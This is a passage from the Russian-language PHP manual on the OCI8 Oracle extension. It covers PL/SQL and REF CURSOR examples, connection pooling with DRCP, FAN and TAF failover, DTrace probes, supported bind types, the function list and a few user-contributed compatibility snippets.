$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p1 = 8;

$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n"; // выведет 16

oci_free_statement($stid);
oci_close($conn);

?>

Пример #7 Вызов PL/SQL процедур, возвращающих REF CURSOR

Каждое возвращаемое значение из запроса является REF CURSOR.

<?php
/*
Создайте PL/SQL хранимую процедуру:

CREATE OR REPLACE FUNCTION myfunc(p1 IN NUMBER) RETURN SYS_REFCURSOR AS
rc SYS_REFCURSOR;
BEGIN
OPEN rc FOR SELECT city FROM locations WHERE ROWNUM < p1;
RETURN rc;
END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT myfunc(5) AS mfrc FROM dual');
oci_execute($stid);

echo "<table border='1'>\n";
while (($row = oci_fetch_array($stid, OCI_ASSOC))) {
echo "<tr>\n";
$rc = $row['MFRC'];
oci_execute($rc); // возвращает значение поля из запроса в виде указателя
while (($rc_row = oci_fetch_array($rc, OCI_ASSOC))) {
echo " <td>" . $rc_row['CITY'] . "</td>\n";
}
oci_free_statement($rc);
echo "</tr>\n";
}
echo "</table>\n";

// Выведет:
// Beijing
// Bern
// Bombay
// Geneva

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

alvaro at demogracia dot com 17-Jul-2015 08:48
To run a procedure you can use "CALL", e.g.:

    CALL DBMS_MVIEW.REFRESH('SALES_MV');


Работа с соединениями OCI8 и Connection Pooling

Функции подключения

Модуль OCI8 предоставляет три различных функции для подключения к серверу Oracle. Стандартная функция соединения - это oci_connect(). Она создаёт соединение к базе данных Oracle и возвращает ресурс, который используется при последующих обращениях к БД.

Подключение к серверу Oracle является достаточно дорогостоящей операцией с точки зрения времени, которое требуется для выполнения. Функция oci_pconnect() использует постоянный кеш соединений, которые могут быть повторно использованы различными запросами скриптов. Это означает, что затраты на установку соединения, как правило, происходят только единожды на один процесс PHP (или на потомка Apache).

Если приложение соединяется к серверу Oracle, используя особый набор данных для каждого веб-пользователя, то постоянный кеш соединений, используемый функцией oci_pconnect() будет менее полезным, т.к. количество одновременных пользователей вырастает до того уровня, где он может начать оказывать негативное влияние на общую производительность сервера Oracle из-за поддержания слишком большого количества простаивающих соединений. Если приложение настроено таким образом, то рекомендуется либо настроить его с помощью параметров конфигурации oci8.max_persistent и oci8.persistent_timeout (это даст возможность управления размером кеша постоянных соединений и их время жизни), либо использовать Oracle Database Resident Connection Pooling (в Oracle Database 11g и новее), либо использовать функцию oci_connect() вместо неё.

Вместе oci_connect() и oci_pconnect() используют кеш подключений; если множество вызовов oci_connect() использует одинаковые параметры в данном скрипте, второй и последующие вызовы вернут существующий дескриптор соединения. Кэш, используемый функцией oci_connect(), очищается по завершению выполнения скрипта, или когда соединение неявно закрывается. У функции oci_pconnect() похожее поведение, хотя её кеш обрабатывается отдельно и остаётся действующим между запросами HTTP.

Эта возможность кеширования означает, что два дескриптора не изолированы транзакционно (они на самом деле являются одним и тем же дескриптором, поэтому здесь нет никакой изоляции). Если приложению необходимы два отдельных транзакционно изолированных соединения, то необходимо использовать функцию oci_new_connect().

Кеш функции oci_pconnect() очищается и закрываются все соединения к БД, когда завершается процесс PHP. Поэтому эффективное использование постоянных соединений требует, чтобы PHP был модулем Apache или использовался с FPM или подобным. Постоянные соединения не будут иметь никаких преимуществ перед oci_connect(), когда PHP используется с CGI или через командную строку.

Функция oci_new_connect() всегда создаёт новое соединение с сервером Oracle, невзирая на то, что другие соединения могут уже существовать. Высоконагруженным веб-приложениям следует избегать использования oci_new_connect(), особенно в самых загруженных частях приложения.

Постоянные соединения могут быть закрыты пользователем, что даёт более полный контроль над использованием ресурсов. Также постоянные соединения могут быть закрыты автоматически, если не осталось переменных PHP указывающих на них, например при завершении выполнения пользовательской функции. Закрытие соединения откатит все не подтверждённые транзакции. Эти изменения в постоянных подключениях делают их поведение аналогичным не постоянным соединениям. Чтобы включить старое поведение, задайте опцию oci8.old_oci_close_semantics значением On.

Автоматическое пересоздание постоянных соединений после перезапуска процессов Apache или FPM, означает, что Oracle Database LOGON рекомендуется только для настройки атрибутов сеанса, а не для запросов на подключение пользователей для отдельных приложений.

Создание пула соединений DRCP

PHP поддерживает постоянный пул соединений Oracle 11g (DRCP). DRCP позволяет более эффективно использовать память СУБД и предоставляет высокую масштабируемость. Изменять код приложения для использования DRCP либо нет необходимости, либо требуются минимальные изменения.

DRCP подходит для приложений, которые подключаются используя несколько схем БД и сохраняют соединения к БД открытыми короткий промежуток времени. Другим приложениям следует использовать доступные по умолчанию Dedicated серверные процессы или использовать Shared сервера.

DRCP приносит пользу всем трём функциям подключения, однако предоставляет самую высокую масштабируемость, когда соединения создаются с помощью функции oci_pconnect().

Чтобы функциональность DRCP была доступна в OCI8, клиентские библиотеки Oracle, используемые в PHP, и версия сервера баз данных должны быть 11g и новее.

Документация по DRCP находится в нескольких руководствах Oracle. К примеру, смотрите » Конфигурирование пула постоянных соединений базы данных в документации Oracle для информации по использованию. Документ » техническое описание DRCP содержит дополнительную информацию по DRCP.

Для использования DRCP, установите модуль OCI8 и библиотеки Oracle 11g (или новее) и затем выполните следующие действия:

  • Как привилегированный администратор БД воспользуйтесь программой наподобие SQL*Plus, чтобы запустить пул соединений в СУБД:

        SQL> execute dbms_connection_pool.start_pool;

  • Дополнительно можно использовать dbms_connection_pool.alter_param(), чтобы конфигурировать параметры DRPC. Текущие настройки пула могут быть получены из представления DBA_CPOOL_INFO.

  • Обновите используемую строку соединения. К примеру, для приложений PHP, которые сейчас соединяются, используя Network Connect Name MYDB:

        $c = oci_pconnect("myuser", "mypassword", "MYDB");

    измените файл tnsnames.ora и добавьте оператор (SERVER=POOLED), например:

        MYDB = (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp) (HOST=myhost.dom.com)
           (PORT=1521))(CONNECT_DATA=(SERVICE_NAME=sales)
           (SERVER=POOLED)))

    В качестве альтернативы можно изменить синтаксис упрощённого соединения в PHP и добавить туда :POOLED после имени сервиса:

        $c = oci_pconnect("myuser", "mypassword", "myhost.dom.com:1521/sales:POOLED");

  • Отредактируйте php.ini и выберите имя класса соединения. Это имя устанавливает логическое разделение пула соединений и может использоваться, чтобы изолировать пул для отдельных приложений. Любое PHP-приложение с одинаковым именем пользователя и классом для соединения будет иметь возможность совместно использовать соединения в пуле, получая бОльшую масштабируемость.

        oci8.connection_class = "MY_APPLICATION_NAME"

  • Запустите приложение, соединяющееся с базой 11g и новее.

Замечание:

Приложения, использующие Oracle 10g, которые требуют производительности от постоянных соединений, могут уменьшить количество памяти сервера БД, которое используется Shared-серверами Oracle (ранее известные как многопоточные сервера). Обратитесь к документации Oracle для более подробной информации.

Замечание:

При изменении пароля через DRCP-соединение будет выдаваться ошибка ORA-56609: Usage not supported with DRCP. Это документированное ограничение of Oracle Database 11g.

User Contributed Notes

There are no user contributed notes for this page.


Поддержка OCI8 Fast Application Notification (FAN)

Поддержка FAN обеспечивает быстрое переподключение в случае сбоев, что обеспечивает высокую доступность базы данных Oracle. Эта функциональность позволяет PHP OCI8 скрипту получать оповещения в случае если база данных или сервер, на котором она запущена, становятся недоступны. Без FAN, OCI8 может подвиснуть, пока не будет превышено время ожидания подключения и возвращена ошибка, что может занять несколько минут. Разрешение FAN в OCI8 позволяет приложениям определять такие ошибки и переподключаться к доступному экземпляру базы данных без ожидания ответа от недоступной базы.

Поддержка FAN доступна если клиентские библиотеки Oracle, с которыми собран PHP, и база данных Oracle имеют версию 10gR2 или более позднюю.

FAN даёт преимущества пользователям кластерной технологии Oracle (RAC), так как подключение к доступной базе данных может быть произведено мгновенно. Пользователи Oracle Data Guard с брокером могут наблюдать события FAN создаваемые при переходе резервной базы в режим основной. Отдельные установленные экземпляры базы данных будут посылать события FAN при своём перезапуске.

Для активных соединений, когда сервер или экземпляр базы становятся недоступны, будет возвращена ошибка соединения для текущей запущенной функции модуля OCI8. При последующем переподключении PHP-скрипта будет установлено соединение с работающим экземпляром базы данных. Также модуль OCI8 прозрачно зачищает все ожидающие соединения, затронутые падением сервера или базы данных, так что новые соединения будут нормально устанавливаться без оглядки на какие-либо проблемы с сервисом.

Если oci8.events установлено как On, то предполагается, что oci8.ping_interval установлено в значение -1, так как включение событий FAN предоставляет проактивное управление ожидающими соединениями.

Для включения поддержки FAN в PHP OCI8, соберите PHP OCI8 с библиотеками Oracle 10gR2 или более поздними и выполните следующие шаги:

  • Под аккаунтом привилегированного администратора баз данных, с помощью программ типа SQL*Plus разрешите сервису базы отправлять оповещения FAN, к примеру:

        SQL> execute dbms_service.modify_service(
                   SERVICE_NAME        => 'sales',
                   AQ_HA_NOTIFICATIONS => TRUE);

  • Добавьте в php.ini

        oci8.events = On

  • Если приложение не обрабатывает ошибки соединения OCI8, модифицируйте его таким образом, чтобы обрабатывало и производило, например, переподключение и перезапуск запросов.
  • Запустите приложение соединяясь с базой данных Oracle версии 10gR2 или выше.

User Contributed Notes

There are no user contributed notes for this page.


Поддержка прозрачного для приложений восстановления после отказа (Transparent Application Failover или TAF) для OCI8

TAF — это механизм базы данных Oracle обеспечивающий высокую доступность. Он позволяет приложениям PHP использующим OCI8 автоматически переподключаться к резервной базе данных в случае сбоя на основной или при сетевых проблемах..

В сконфигурированной системе базы данных Oracle, TAF происходит когда приложение PHP определяет, что экземпляр базы данных недоступен. В этом случае происходит соединение с другим узлом в Oracle » RAC. Это может быть горячий резерв или тот же самый экземпляр базы данных. Более подробно о OCI TAF читайте в » Oracle Call Interface Programmer's Guide.

Функцию обратного вызова для приложения можно зарегистрировать с помощью oci_register_taf_callback(). В процессе восстановления после отказа исполнение приложения будет приостановлено и будет вызвана зарегистрированная функция обратного вызова. Эта функция будет оповещать приложение о событиях процесса восстановления. Если восстановление завершилось успешно, управление будет возвращено приложению. Если восстановление завершилось неудачно, то все последующие обращения к базе данных будут завершаться с ошибкой, так как отсутствует подключение.

Когда соединение переходит к другой базе данных, обратный вызов может сбросить любое необходимое состояние соединения, к примеру перевыполнить любую необходимую команду ALTER SESSION если для сервиса базы данных не включён -failover_restore.

Регистрацию функции обратного вызова можно удалить с помощью oci_unregister_taf_callback().

настройка TAF

TAF можно настроить на стороне PHP OCI8 или в конфигурации базы данных. Если настроено и там и там, то предпочтение отдаётся настройкам на стороне базы данных.

Настроить TAF в PHP OCI8 (на стороне клиента) можно добавив параметр FAILOVER_MODE в часть CONNECT_DATA дескриптора соединения. Более подробно о настройке TAF на стороне клиента читайте в » Oracle Database Net Services Administrator's Guide.

Пример настройки TAF в tnsnames.ora для переподключения к той же самой БД:

    ORCL =
      (DESCRIPTION =
        (ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521))
        (CONNECT_DATA =
          (SERVICE_NAME = orclpdb1)
          (FAILOVER_MODE =
            (TYPE = SELECT)
            (METHOD = BASIC)
            (RETRIES = 20)
            (DELAY = 15))))

Также можно настроить TAF на стороне базы данных путём модификации сервиса с помощью » srvctl (для RAC) или с помощью пакетной процедуры » DBMS_SERVICE.MODIFY_SERVICE (для одиночных экземпляров баз данных).

Использование функций обратного вызова TAF в OCI8

Функция обратного вызова TAF являются функцией зарегистрированной из приложения для запуска в процессе восстановления после сбоя. При восстановлении соединения она вызывается несколько раз.

Первый раз она запускается в момент обнаружения проблем с соединением. Это позволяет приложению корректно подготовиться к задержке выполнения на время восстановления после сбоя. Если восстановление завершилось удачно, функция будет вызвана сразу после восстановления подключения. Этот запуск приложение может использовать для пересинхронизации настроек сессии и оповещения пользователя о том, что произошло восстановление после сбоя. Если восстановление завершилось неудачно, функция запускается ещё раз для оповещения приложения о том, что восстановление завершилось с ошибкой и соединение с БД недоступно.

Интерфейс функции обратного вызова TAF:

userCallbackFn(resource $connection, int $event, int $type): int

connection

Идентификатор соединения Oracle для которого эта функция была зарегистрирована с помощью oci_register_taf_callback(). Соединение недоступно во время аварийного восстановления.

event

Событие восстановления означает текущий статус восстановления.

  • OCI_FO_BEGIN означает, что произошла потеря соединения и процесс восстановления начат.

  • OCI_FO_END означает удачное восстановление соединения.

  • OCI_FO_ABORT означает, что восстановление завершилось неудачно и попыток восстановления больше не будет.

  • OCI_FO_ERROR также означает, что восстановление завершилось с ошибкой, но приложению даётся возможность обработать ошибку и вернуть OCI_FO_RETRY для ещё одной попытки восстановления.

  • OCI_FO_REAUTH означает, что пользователь Oracle был повторно аутентифицирован..

type

Тип восстановления после отказа. Это позволяет функции понять, какой тип восстановления запрошен приложением. Допустимы такие значения:

  • OCI_FO_SESSION означает, что пользователь запросил только восстановление сессии. К примеру, если соединение пропало, то будет создана новая сессия на резервном сервере. Этот тип восстановления не будет пытаться восстановить запросы типа SELECT.

  • OCI_FO_SELECT означает, что запрошено восстановление запросов SELECT. Это позволит использовать открытый курсор для извлечения значений после восстановления.

return value

  • 0 означает, что шаги восстановления после отказа должны продолжаться нормально.

  • OCI_FO_RETRY означает, что необходимо попробовать восстановиться ещё раз. В случае возникновения ошибки при переходе на новое соединение TAF может повторить переход на другой ресурс. Обычно перед возвращением кода OCI_FO_RETRY рекомендуется некоторое время подождать.

Пример регистрации функции обратного вызова TAF

<?php

// Определяем функцию обратного вызова в пространстве пользователя
class MyClass {
public static $retry_count;
public static function TAFCallback($conn, $event, $type)
{
switch ($event) {
case OCI_FO_BEGIN:
printf(" Failing Over ... Please stand by\n");
printf(" Failover type was found to be %s \n",
(($type==OCI_FO_SESSION) ? "SESSION"
:(($type==OCI_FO_SELECT) ? "SELECT" : "UNKNOWN!")));
self::$retry_count = 0;
break;
case OCI_FO_ABORT:
// Приложение больше не может использовать базу данных
printf(" Восстановление невозможно.\n");
break;
case OCI_FO_END:
// Восстановление завершилось успешно. Оповестим пользователей, что была проблема.
printf(" Восстановление завершено ... восстанавливаю работу\n");
break;
case OCI_FO_REAUTH:
printf(" Пользователь переавторизован ... восстанавливаю работу\n");
// Заново выполняем все необходимые ALTER SESSION
// т.е. oci_parse($conn, 'ALTER SESSION ...') ;
break;
case OCI_FO_ERROR:
// Прекращаем попытки соединения, если их было более 20.
if (self::$retry_count >= 20)
return 0;
printf(" Ошибка восстановления. Повторная попытка через 10 секунд...\n");
sleep(10);
self::$retry_count++;
return OCI_FO_RETRY; // retry failover
break;
default:
printf("Неизвестное событие восстановления: %d.\n", $event);
break;
}
return 0;
}
}

$fn_name = 'MyClass::TAFCallback';

$conn = oci_connect('hr', 'welcome', 'orcl');
$sysconn = oci_connect('system', 'oracle', 'orcl');

// Используйте привилегированное соединение для создания оператора SQL, который будет инициировать отработку отказа
$sql = <<< 'END'
select unique 'alter system disconnect session '''||sid||','||serial#||''''
from v$session_connect_info
where sid = sys_context('USERENV', 'SID')
END;

$s = oci_parse($conn, $sql);
oci_execute($s);
$r = oci_fetch_array($s);
$disconnectssql = $r[0];

oci_register_taf_callback($conn, $fn_name); // Зарегистрируйте TAFCallback для Oracle TAF

print "Разбор пользовательского запроса\n";
$sql = "select systimestamp from dual";
$stmt = oci_parse($conn, $sql);

// К примеру, если соединение было потеряно на этом шаге, oci_execute()
// определит это и запустит процедуру восстановления. В процессе восстановления
// oci_execute() будет вызовать зарегистрированную функцию обратного вызова
// несколько раз. Если восстановление пройдёт успешно, то будет создано новое соединение
// и выполнение oci_execute() будет продолжено в нормальном режиме.
// Настройки сессии могут быть сброшены в функции обратного вызова.
// Если восстановление завершится неудачно, oci_execute() вернёт ошибку, так как
// будет отсутствовать соединение.

// Отключите пользователя, который инициирует аварийное переключение
print "Отключение пользователя\n";
$discsql = oci_parse($sysconn, $disconnectssql);
oci_execute($discsql);

print "Выполнение пользовательского запроса\n";
$e = oci_execute($stmt);
if (!$e) {
$m = oci_error($stmt);
trigger_error('Не удалось выполнить условие:'. $m['message'], E_USER_ERROR);
}
$row = oci_fetch_array($stmt);
print $row[0] . "\n";

// выполняем другие SQL-запросы на новом подключении
// $stmt = oci_parse($conn, . . .);

?>

Смотрите также

  • oci_register_taf_callback()
  • oci_unregister_taf_callback()

User Contributed Notes

There are no user contributed notes for this page.


OCI8 и динамическая трассировка DTrace

OCI8 2.0 содержит статические зонды DTrace, которые можно использовать в операционных системах, поддерживающих DTrace. Более подробно взаимоотношения PHP и DTrace описаны в разделе Динамическая трассировка DTrace.

Установка OCI8 с поддержкой DTrace

Для включения поддержки DTrace в PHP OCI8, соберите OCI8 как разделяемый модуль после установки переменной окружения PHP_DTRACE.

$ export PHP_DTRACE=yes
$ pecl install oci8

Отредактируйте php.ini, задав extension_dir равным директории, в которой создался oci8.so, а также включите модуль следующим образом:

extension=oci8.so

Если вы установили PHP OCI8 из PECL с использованием phpize и configure (вместо pecl), вам все ещё будет необходимо установить PHP_DTRACE=yes. Это потому, что опция --enable-dtrace будет проигнорирована ограниченным скриптом configure модуля PECL.

Более подробно об установке PECL модулей читайте в разделе Установка модулей PECL.

Статические зонды DTrace в PHP OCI8

Следующие статические зонды доступны в PHP OCI8
Имя зонда | Описание зонда | Аргументы зонда
oci8-connect-entry | Инициируется oci_connect(), oci_pconnect() и oci_new_connect(). Срабатывает до того, как соединение было установлено. | char *username, char *dbname, char *charset, long session_mode, int persistent, int exclusive
oci8-connect-return | Срабатывает после установки соединения. | void *connection
oci8-check-connection | Срабатывает, если ошибка Oracle может привести к порче соединения. | void *connection, char *client_id, int is_open, long errcode, unsigned long server_status
oci8-sqltext | Срабатывает при запуске oci_parse(). | void *connection, char *client_id, void *statement, char *sql
oci8-connection-close | Срабатывает, когда соединение окончательно уничтожено. | void *connection
oci8-error | Срабатывает, если произошла ошибка Oracle. | int status, long errcode
oci8-execute-mode | Срабатывает при oci_execute() для выявления режима запуска. | void *connection, char *client_id, void *statement, unsigned int mode

Эти зонды полезны при отладке скриптов OCI8.

Параметры connection и statement являются указателями на внутренние структуры, используемые для отслеживания соединений и запущенных запросов.

Параметр client_id устанавливается функцией oci_set_client_identifier().

Ядро PHP также содержит статические зонды. Смотрите раздел Статические зонды DTrace в ядре PHP.

Внутренние отладочные зонды DTrace в OCI8
Имя зонда
oci8-connect-expiry
oci8-connect-lookup
oci8-connect-p-dtor-close
oci8-connect-p-dtor-release
oci8-connect-type
oci8-sesspool-create
oci8-sesspool-stats
oci8-sesspool-type

Эти зонды полезны для разработчиков модуля OCI8. Для более детальной информации изучайте исходные коды OCI8.

Получение списка статических зондов DTrace в PHP OCI8

Для получения списка доступных зондов, запустите процесс PHP и, затем, запустите:

# dtrace -l

Вывод будет примерно следующим:

   ID   PROVIDER            MODULE                          FUNCTION NAME
   [ . . . ]
   17 phpoci22116           oci8.so   php_oci_dtrace_check_connection oci8-check-connection
   18 phpoci22116           oci8.so                php_oci_do_connect oci8-connect-entry
   19 phpoci22116           oci8.so         php_oci_persistent_helper oci8-connect-expiry
   20 phpoci22116           oci8.so             php_oci_do_connect_ex oci8-connect-lookup
   21 phpoci22116           oci8.so  php_oci_pconnection_list_np_dtor oci8-connect-p-dtor-close
   22 phpoci22116           oci8.so  php_oci_pconnection_list_np_dtor oci8-connect-p-dtor-release
   23 phpoci22116           oci8.so                php_oci_do_connect oci8-connect-return
   24 phpoci22116           oci8.so             php_oci_do_connect_ex oci8-connect-type
   25 phpoci22116           oci8.so          php_oci_connection_close oci8-connection-close
   26 phpoci22116           oci8.so                     php_oci_error oci8-error
   27 phpoci22116           oci8.so         php_oci_statement_execute oci8-execute-mode
   28 phpoci22116           oci8.so              php_oci_create_spool oci8-sesspool-create
   29 phpoci22116           oci8.so            php_oci_create_session oci8-sesspool-stats
   30 phpoci22116           oci8.so            php_oci_create_session oci8-sesspool-type
   31 phpoci22116           oci8.so          php_oci_statement_create oci8-sqltext

Столбец "Provider" состоит из phpoci и идентификатора запущенного процесса PHP.

Столбец "Function" содержит имена внутренних, написанных на C, функций PHP, в которых содержатся соответствующие провайдеры (Provider).

Если процесс PHP не запущен, то никаких зондов PHP показано не будет.

Пример использования DTrace с PHP OCI8

В этом примере продемонстрированы основы скриптового языка DTrace D.

Пример #1 user_oci8_probes.d для трассировки всех статических зондов PHP OCI8 с помощью DTrace на пользовательском уровне

#!/usr/sbin/dtrace -Zs

#pragma D option quiet

php*:::oci8-connect-entry
{
    printf("%lld: PHP connect-entry\n", walltimestamp);
    printf("  credentials=\"%s@%s\"\n", arg0 ? copyinstr(arg0) : "", arg1 ? copyinstr(arg1) : "");
    printf("  charset=\"%s\"\n", arg2 ? copyinstr(arg2) : "");
    printf("  session_mode=%ld\n", (long)arg3);
    printf("  persistent=%d\n", (int)arg4);
    printf("  exclusive=%d\n", (int)arg5);
}

php*:::oci8-connect-return
{
    printf("%lld: PHP oci8-connect-return\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
}

php*:::oci8-connection-close
{
    printf("%lld: PHP oci8-connect-close\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
}

php*:::oci8-error
{
    printf("%lld: PHP oci8-error\n", walltimestamp);
    printf("  status=%d\n", (int)arg0);
    printf("  errcode=%ld\n", (long)arg1);
}

php*:::oci8-check-connection
{
    printf("%lld: PHP oci8-check-connection\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
    printf("  client_id=\"%s\"\n", arg1 ? copyinstr(arg1) : "");
    printf("  is_open=%d\n", arg2);
    printf("  errcode=%ld\n", (long)arg3);
    printf("  server_status=%lu\n", (unsigned long)arg4);
}

php*:::oci8-sqltext
{
    printf("%lld: PHP oci8-sqltext\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
    printf("  client_id=\"%s\"\n", arg1 ? copyinstr(arg1) : "");
    printf("  statement=0x%p\n", (void *)arg2);
    printf("  sql=\"%s\"\n", arg3 ? copyinstr(arg3) : "");
}

php*:::oci8-execute-mode
{
    printf("%lld: PHP oci8-execute-mode\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
    printf("  client_id=\"%s\"\n", arg1 ? copyinstr(arg1) : "");
    printf("  statement=0x%p\n", (void *)arg2);
    printf("  mode=0x%x\n", arg3);
}

В этом скрипте с dtrace используется опция -Z, позволяющая ему запускаться даже если никаких процессов PHP не запущено. Если не задать данную опцию, то скрипт сразу же прекратит свою работу, так как отсутствуют зонды для отслеживания.

На многопроцессорных машинах порядок зондов может быть не последовательным. Это зависит от того, на каких ядрах работают зонды и каким образом потоки мигрируют между ядрами. В такой ситуации имеет смысл ориентироваться на временные метки зондов.

Скрипт отслеживает все сообщения статических зондов PHP OCI8 уровня пользователя на протяжении работы скрипта PHP. Запускаем скрипт D:

# ./user_oci8_probes.d

Запускаем скрипт PHP или своё приложение. D-скрипт будет выводить все аргументы зондов при их срабатывании. К примеру, простой скрипт PHP, выполняющий запрос к базе данных может создавать следующие сообщения:

1381794982092854582: PHP connect-entry
  credentials="hr@localhost/pdborcl"
  charset=""
  session_mode=0
  persistent=0
  exclusive=0
1381794982183158766: PHP oci8-connect-return
  connection=0x7f4a7907bfb8
1381794982183594576: PHP oci8-sqltext
  connection=0x7f4a7907bfb8
  client_id="Chris"
  statement=0x7f4a7907c2a0
  sql="select * from employees"
1381794982183783706: PHP oci8-execute-mode
  connection=0x7f4a7907bfb8
  client_id="Chris"
  statement=0x7f4a7907c2a0
  mode=0x20
1381794982444344390: PHP oci8-connect-close
  connection=0x7f4a7907bfb8

После завершения диагностики D-скрипт можно прервать с помощью нажатия CTRL+C.

Смотрите также

  • Динамическая трассировка DTrace

User Contributed Notes

There are no user contributed notes for this page.


Поддерживаемые типы данных

Данный драйвер поддерживает следующие типы данных при использовании функции oci_bind_by_name() для связки параметров:
Тип | Отображение
SQLT_NTY | Связывает оригинальный тип коллекции из объекта коллекции PHP, например, создаваемых функцией oci_new_collection().
SQLT_BFILEE | Связывает оригинальный дескриптор, например, полученный с помощью функции oci_new_descriptor().
SQLT_CFILEE | Связывает оригинальный дескриптор, например, полученный с помощью функции oci_new_descriptor().
SQLT_CLOB | Связывает оригинальный дескриптор, например, полученный с помощью функции oci_new_descriptor().
SQLT_BLOB | Связывает оригинальный дескриптор, например, полученный с помощью функции oci_new_descriptor().
SQLT_RDD | Связывает оригинальный дескриптор, например, полученный с помощью функции oci_new_descriptor().
SQLT_NUM | Конвертирует параметр PHP в тип long языка 'C', и привязывает к этому значению.
SQLT_RSET | Связывает оригинальный дескриптор выражения, например, полученный из функции oci_parse() или из других запросов OCI.
SQLT_BOL | Связывает PHP параметр с PL/SQL BOOLEAN
SQLT_CHR и любой другой тип | Преобразует параметр PHP к строковому типу и привязывает его в виде строки.
Поддерживаются следующие типы при извлечении столбцов из набора данных:
Тип | Отображение
SQLT_RSET | Создаёт ресурс выражения oci для представления курсора.
SQLT_RDD | Создаёт объект ROWID.
SQLT_BLOB | Создаёт объект LOB.
SQLT_CLOB | Создаёт объект LOB.
SQLT_BFILE | Создаёт объект LOB.
SQLT_LNG | Связывает в виде SQLT_CHR, возвращается в виде строки
SQLT_LBI | Связывает в виде SQLT_BIN, возвращается в виде строки
Любой другой тип | Связывает в виде SQLT_CHR, возвращается в виде строки

User Contributed Notes

There are no user contributed notes for this page.


OCI8 Функции

Содержание

  • oci_bind_array_by_name — Связывает PHP массив с массивом Oracle PL/SQL
  • oci_bind_by_name — Прикрепляет переменную PHP к соответствующей метке в SQL-выражении
  • oci_cancel — Заканчивает процесс чтения из курсора
  • oci_client_version — Возвращает версию клиентской библиотеки
  • oci_close — Закрывает соединение с сервером Oracle
  • oci_commit — Подтверждает транзакцию базы данных
  • oci_connect — Устанавливает соединение с базой данных Oracle
  • oci_define_by_name — Сопоставляет переменную PHP столбцу результата запроса
  • oci_error — Возвращает последнюю ошибку
  • oci_execute — Выполняет подготовленное выражение
  • oci_fetch_all — Выбирает все строки из результата запроса в двумерный массив
  • oci_fetch_array — Возвращает следующую строку из результата запроса в виде ассоциативного или нумерованного массива
  • oci_fetch_assoc — Возвращает следующую строку из результата запроса в виде ассоциативного массива
  • oci_fetch_object — Возвращает следующую строку из результата запроса в виде объекта
  • oci_fetch_row — Возвращает следующую строку из результата запроса в виде нумерованного массива
  • oci_fetch — Выбирает следующую строку из результата в буфер
  • oci_field_is_null — Проверяет, равняется ли поле в текущем полученном ряду равным null
  • oci_field_name — Возвращает имя поля из результата запроса
  • oci_field_precision — Возвращает точность поля
  • oci_field_scale — Возвращает масштаб поля
  • oci_field_size — Возвращает размер поля
  • oci_field_type_raw — Возвращает исходный тип поля Oracle
  • oci_field_type — Возвращает имя типа поля
  • oci_free_descriptor — Освобождает дескриптор
  • oci_free_statement — Освобождает ресурсы, занимаемые курсором или SQL-выражением
  • oci_get_implicit_resultset — Возвращает следующий ресурс дочернего запроса из ресурса родительского запроса, имеющего неявные результирующие наборы Oracle Database
  • oci_lob_copy — Копирует объект LOB
  • oci_lob_is_equal — Сравнивает два объекта LOB/FILE
  • oci_new_collection — Создаёт новый объект коллекции
  • oci_new_connect — Устанавливает новое соединение с сервером Oracle
  • oci_new_cursor — Возвращает идентификатор созданного курсора
  • oci_new_descriptor — Инициализирует новый дескриптор объекта LOB или FILE
  • oci_num_fields — Возвращает количество полей в результате запроса
  • oci_num_rows — Возвращает количество строк, изменённых в процессе выполнения запроса
  • oci_parse — Подготавливает запрос к выполнению
  • oci_password_change — Изменяет пароль пользователя Oracle
  • oci_pconnect — Устанавливает постоянное соединение с сервером Oracle
  • oci_register_taf_callback — Регистрирует пользовательскую функцию обратного вызова для Oracle Database TAF
  • oci_result — Возвращает значение поля из результата запроса
  • oci_rollback — Откатывает транзакции, ожидающие обработки
  • oci_server_version — Возвращает версию сервера Oracle
  • oci_set_action — Задаёт имя для действия
  • oci_set_call_timeout — Устанавливает время ожидания в миллисекундах для вызовов базы данных
  • oci_set_client_identifier — Задаёт идентификатор клиента
  • oci_set_client_info — Задаёт информацию о клиенте
  • oci_set_db_operation — Задаёт операцию базы данных
  • oci_set_edition — Задаёт выпуск (edition) базы данных
  • oci_set_module_name — Задаёт имя модулю
  • oci_set_prefetch_lob — Устанавливает объём данных, предварительно выбираемых для каждого CLOB или BLOB
  • oci_set_prefetch — Устанавливает количество строк, которые будут автоматически выбраны в буфер
  • oci_statement_type — Возвращает тип выражения
  • oci_unregister_taf_callback — Удалить регистрацию пользовательской callback-функции для Oracle Database TAF

User Contributed Notes

greatval <wow> gmail <dot> com 24-Jul-2006 09:30
For use PHPv5 functions in PHPv4 i use simple script:
<?php
$funcs=array(
        'oci_connect'=>'OCILogon',
        'oci_parse'=>'OCIParse',
        'oci_execute'=>'OCIExecute',
        'oci_fetch'=>'OCIFetch',
        'oci_num_fields'=>'OCINumCols',
        'oci_field_name'=>'OCIColumnName',
        'oci_result'=>'OCIResult',
        'oci_free_statement'=>'OCIFreeStatement',
);
// yoy can add yours pairs of funcs.

foreach ($funcs as $k=>$v)
    {
        if (!function_exists($k))
            {
                $arg_string='$p0';
                for ($i=1;$i<20;$i++) {
                    $arg_string.=',$p'.$i;
                }
                eval ('function '.$k.' () {
                        list('.$arg_string.')=func_get_args();
                        return '.$v.'('.$arg_string.');
                        }
                ');
            }
    }
?>

simple, but it work. :-)
Javi Ros 02-Jun-2006 07:49
Here are the translate of some functions from ORA to OCI:

<?php
function Ora_Logon($usuario, $password)
{
        $con = oci_connect($usuario,$password);
        return $con;
}

function Ora_Open($conexion) {
        $cursor[0]=$conexion;
        return $cursor;
}

function Ora_Parse(&$cursor, $consulta) {
        $cursor[1]=oci_parse($cursor[0],$consulta);
        return $cursor;
}

function Ora_Exec(&$cursor) {
        oci_execute($cursor[1]);
        $cursor[2]=1;
        return $cursor;
}

